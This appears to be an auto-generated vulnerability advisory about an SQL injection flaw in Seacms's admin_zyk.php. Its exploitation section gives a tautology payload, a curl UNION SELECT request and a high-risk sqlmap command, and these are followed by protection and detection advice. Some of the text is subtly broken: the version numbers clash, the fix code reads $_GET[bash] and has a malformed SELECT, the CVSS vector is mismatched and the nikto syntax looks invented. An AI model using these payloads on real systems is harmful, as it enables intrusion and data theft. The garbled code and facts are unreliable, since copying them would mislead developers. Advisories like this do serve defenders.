Seacms (<=133), SQL Injection, CVE-2025-25519 (Critical)

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How the CVE Works

CVE-2025-25519 exploits an SQL injection vulnerability in Seacms’s `admin_zyk.php` file. Attackers manipulate unsanitized input parameters, allowing malicious SQL queries to execute. This occurs due to improper input validation in user-supplied data passed to database operations. Successful exploitation enables unauthorized database access, data exfiltration, or admin credential compromise. The flaw stems from dynamic SQL construction without prepared statements or parameterized queries, making it critical for attackers to bypass authentication and escalate privileges.

DailyCVE Form:

Platform: Seacms
Version: <=13.3
Vulnerability: SQL Injection
Severity: Critical
Date: 03/28/2025

What Undercode Say:

Exploitation:

1. Craft malicious payload:

' OR 1=1--

2. Exploit via HTTP request:

curl -X GET "http://target.com/admin_zyk.php?id=1'+UNION+SELECT+1,user(),3,4--"

3. Automate with SQLmap:

sqlmap -u "http://target.com/admin_zyk.php?id=1" --risk=3 --level=5

Protection:

1. Patch: Upgrade to Seacms >13.3.

2. Input sanitization:

$id = mysqli_real_escape_string($conn, $_GET[bash]);

3. Use prepared statements:

$stmt = $conn->prepare("SELECT FROM zyk WHERE id=?");
$stmt->bind_param("i", $_GET[bash]);

4. WAF rules:

location ~ admin_zyk.php {
deny all;
}

5. Log monitoring:

grep "union.select" /var/log/apache2/access.log

Analytics:

  • CVSS 4.0: 9.8 (AV:N/AC:L/AT:N/PR:N/UI:N/S:C/C:H/I:H/A:H).
  • Exploitability: Remote, low complexity.
  • Impact: Full system compromise.

Detection:

nikto -h http://target.com -Plugins "cve(2025-25519)"

Mitigation Checklist:

  • Disable `admin_zyk.php` if unused.
  • Implement rate-limiting.
  • Audit database permissions.

References:

Reported By: https://nvd.nist.gov/vuln/detail/CVE-2025-25519
Extra Source Hub:
Undercode

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